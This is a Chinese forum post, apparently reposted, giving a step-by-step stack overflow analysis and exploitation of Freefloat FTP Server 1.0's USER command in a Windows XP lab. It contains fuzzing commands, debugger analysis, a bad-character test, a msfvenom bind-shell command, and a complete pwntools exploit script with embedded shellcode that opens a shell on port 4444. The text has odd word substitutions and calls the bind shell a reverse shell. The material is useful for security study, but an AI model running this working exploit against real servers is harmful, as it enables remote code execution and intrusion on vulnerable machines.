12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 320|回复: 0

Freefloat FTP Server1.0栈溢出漏洞分析

[复制链接]

63

主题

63

帖子

136

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
136
发表于 2021-5-7 23:48:48 | 显示全部楼层 |阅读模式
Freefloat FTP Server1.0栈溢出毛病分析

一、毛病信息

1. 毛病简述


  • 毛病名称:Freefloat FTP server – ‘USER’ Remote Buffer Overflow
  • 毛病编号:EDB-ID 23243
  • 毛病类型:栈溢出
  • 毛病影响:远程代码实行
  • 使用难度:Esay
2. 组件概述

freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件
3. 毛病影响

freefloatftpserver1.0
二、毛病复现

1. 环境搭建


  • 靶机环境:Windows xp sp3
  • 靶机配置:

    • freefloatftpserver1.0
    • Immunity Debugger
    • Mona

  • 攻击机:kali 2.0
  • 攻击机配置



      • Pwntools



      • Metasploit


2. 复现过程

使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出毛病存在
2.1 使用Infigo FTPStress Fuzzer触发毛病

2.1.1 在windowsXP运行毛病程序,程序打开ftp服务,并监听21号端口


2.1.2 ftpfuzz触发毛病



eip指向fuzz发送的测试数组‘AAAA‘,程序实行流已被更改,存在溢出毛病
2.2 使用metasploit的ftp fuzz进行测试

攻击机kali运行metasploit,运行如下命令
    #打开metasploit    msfconsole    #查询可用的fuzz    search fuzzing    #使用ftp fuzz模块    use auxiliary/fuzzers/ftp/ftp_pre_post    #设置靶机    set RHOST 192.168.112.146    #毛病使用    exploit运行结果


靶机崩溃,eip指向未知内存地点,可以溢出
三、毛病分析

1. 背景知识

最简朴的栈溢出,jmp esp作为跳板跳转到栈中实行
2. 详细分析

2.1 Immunity Debugger调试

在靶机用Immunity Debugger打开freefloatftpserver1.0运行调试

2.2 python发包测试

在kali攻击机用pwntools编写脚本,向ftp服务器的USER输入点发送数据包测试
    from pwn import *    p = remote("192.168.112.146", 21)    paylad = 'A'*500    p.sendline(payload)    p.interactive()程序崩溃,eip指向0x41414141,由发送的数据A的ascii码为0x41可知,USER输入点存在溢出毛病

2.3 定位溢出点

输入用户名之前,程序会输出一条ftp服务器版本的语句,在immunity debugger中定位输出这句话的函数,从而缩小定位毛病函数的范围

查询字符串

在wsprintw函数设置断点

重新发送payload,单步调试,直到运行到出现异常的函数freefloa.004020E0

在freefloa.004020E0函数设置断点,重新发送payload,f7单步步入此函数

重复上述操作,接着在freefloa.00402190函数设置断点,单步步入,程序会在运行到00402881处跳转到004028EB处实行,之后调用freefloa.00402DE0函数,程序崩溃

在freefloa.00402DE0函数设置断点,步入之后未发现存在子函数,并且在返回的时间实行retn 8指令

观察此时esp指向的返回地点为0x41414141,实行retn命令之后eip指向0x41414141,使得程序崩溃

得出结论:freefloa.00402DE0函数可能出现栈溢出
2.4 静态分析联合动态分析

用IDA加载程序进行静态分析,定位到函数sub_00402DE0

Strcpy函数存在溢出毛病,将函数第三个参数a3的值复制到局部变量v8中,如果a3过长,会覆盖返回地点,那sub_00402DE0函数的参数a2,a3到底是什么?这就回溯到调用此函数的位置了,通过之前动态分析可以得到调用函数为00402190,IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp命令进行比较,根据命令进行差别的响应。
用immunity debugger回溯到sub_00402190函数里的00402881地点,这个地点的指令跳转实行毛病函数00402DE0,检察栈帧能够得到参数

在IDA中定位,aXommandNotUnde就是上图的command not understood字符串,此处跳转实行402DE0


参数1 V16是输入字符串长度,参数2 v17是输入字符串‘AAAA‘:command not understood’ 检察函数栈帧可验证

结论:函数sub_402DE0栈帧布局,(ebp现实不存在,只是方便记录相对偏移)

只需添补0xFC-1个垃圾数据可溢出到函数返回地点(-1是因为程序在输入字符串前添加了单引号),重新组织poc,返回地点为cccc
from pwn import *p = remote("192.168.112.146", 21)payload = 'A'*(0xfc-1) + 'cccc'p.sendline(payload)p.interactive()返回地点为0x63636363,是cccc的ascii码,验证成功

4. 毛病使用

1. 使用条件

Windows xp sp3未开启DEP掩护
2. 使用过程

1. 排除坏字符

在生成shellcode之前必要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会粉碎payload,将其排除即可
from pwn import *p = remote('192.168.112.146',21)bytearray = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f""\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f""\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f""\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f""\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f""\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf""\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf""\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")payload = 'a'*(0xfc-1) + 'cccc' + bytearrayp.sendline(payload)p.interactive()2. 生成shellcode

使用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP192.168.112.146
msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.112.146 LPORT=4444 -b '\x00\x0a\x0d' -f c

3. 内存中查找jmp esp命令

使用mona插件查询jmp esp指令的地点
!mona jmp -r esp#大概 !mona find -s "\xff\xe4" -m
从中选择一个地点0x77D29353,作为跳板,跳转到栈上实行shellcode

终极Exploit.py
from pwn import *p = remote('192.168.112.146',21)shellcode = ("\xbf\xb9\x9b\xb3\x2f\xdb\xd2\xd9\x74\x24\xf4\x58\x33\xc9\xb1""\x53\x31\x78\x12\x83\xc0\x04\x03\xc1\x95\x51\xda\xcd\x42\x17""\x25\x2d\x93\x78\xaf\xc8\xa2\xb8\xcb\x99\x95\x08\x9f\xcf\x19""\xe2\xcd\xfb\xaa\x86\xd9\x0c\x1a\x2c\x3c\x23\x9b\x1d\x7c\x22""\x1f\x5c\x51\x84\x1e\xaf\xa4\xc5\x67\xd2\x45\x97\x30\x98\xf8""\x07\x34\xd4\xc0\xac\x06\xf8\x40\x51\xde\xfb\x61\xc4\x54\xa2""\xa1\xe7\xb9\xde\xeb\xff\xde\xdb\xa2\x74\x14\x97\x34\x5c\x64""\x58\x9a\xa1\x48\xab\xe2\xe6\x6f\x54\x91\x1e\x8c\xe9\xa2\xe5""\xee\x35\x26\xfd\x49\xbd\x90\xd9\x68\x12\x46\xaa\x67\xdf\x0c""\xf4\x6b\xde\xc1\x8f\x90\x6b\xe4\x5f\x11\x2f\xc3\x7b\x79\xeb""\x6a\xda\x27\x5a\x92\x3c\x88\x03\x36\x37\x25\x57\x4b\x1a\x22""\x94\x66\xa4\xb2\xb2\xf1\xd7\x80\x1d\xaa\x7f\xa9\xd6\x74\x78""\xce\xcc\xc1\x16\x31\xef\x31\x3f\xf6\xbb\x61\x57\xdf\xc3\xe9""\xa7\xe0\x11\x87\xaf\x47\xca\xba\x52\x37\xba\x7a\xfc\xd0\xd0""\x74\x23\xc0\xda\x5e\x4c\x69\x27\x61\x63\x36\xae\x87\xe9\xd6""\xe6\x10\x85\x14\xdd\xa8\x32\x66\x37\x81\xd4\x2f\x51\x16\xdb""\xaf\x77\x30\x4b\x24\x94\x84\x6a\x3b\xb1\xac\xfb\xac\x4f\x3d""\x4e\x4c\x4f\x14\x38\xed\xc2\xf3\xb8\x78\xff\xab\xef\x2d\x31""\xa2\x65\xc0\x68\x1c\x9b\x19\xec\x67\x1f\xc6\xcd\x66\x9e\x8b""\x6a\x4d\xb0\x55\x72\xc9\xe4\x09\x25\x87\x52\xec\x9f\x69\x0c""\xa6\x4c\x20\xd8\x3f\xbf\xf3\x9e\x3f\xea\x85\x7e\xf1\x43\xd0""\x81\x3e\x04\xd4\xfa\x22\xb4\x1b\xd1\xe6\xc4\x51\x7b\x4e\x4d""\x3c\xee\xd2\x10\xbf\xc5\x11\x2d\x3c\xef\xe9\xca\x5c\x9a\xec""\x97\xda\x77\x9d\x88\x8e\x77\x32\xa8\x9a")# 0x77d29353 -> jmp esppayload = 'a'*(0xfc-1) + "\x53\x93\xd2\x77" + "\x90"*16 + shellcodep.sendline(payload)p.interactive()
注:shellcode前16个\x90是因为函数返回时的retn 8必要跳过,也可作为滑板,同时作为缓冲区防止实行shellcode时更改内存使得shellcode实行代码也被更改
实行流程:

栈帧布局:

Shellcode使靶机开放4444端口进行shell毗连攻击机,毗连成功

四、参考文献


  • https://www.exploit-db.com/exploits/23243
  • https://giantbranch.blog.csdn.net/article/details/53291788
  • https://www.youtube.com/watch?v=i6Br57lh4uE
  • https://rj45mp.github.io/Freefloat-FTP-Server1-0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
freefloatftp毛病分析.zip
1.18 MB, 下载次数: 17, 下载积分: 吾爱币 -1 CB


来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-4-19 14:00 , Processed in 0.125000 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表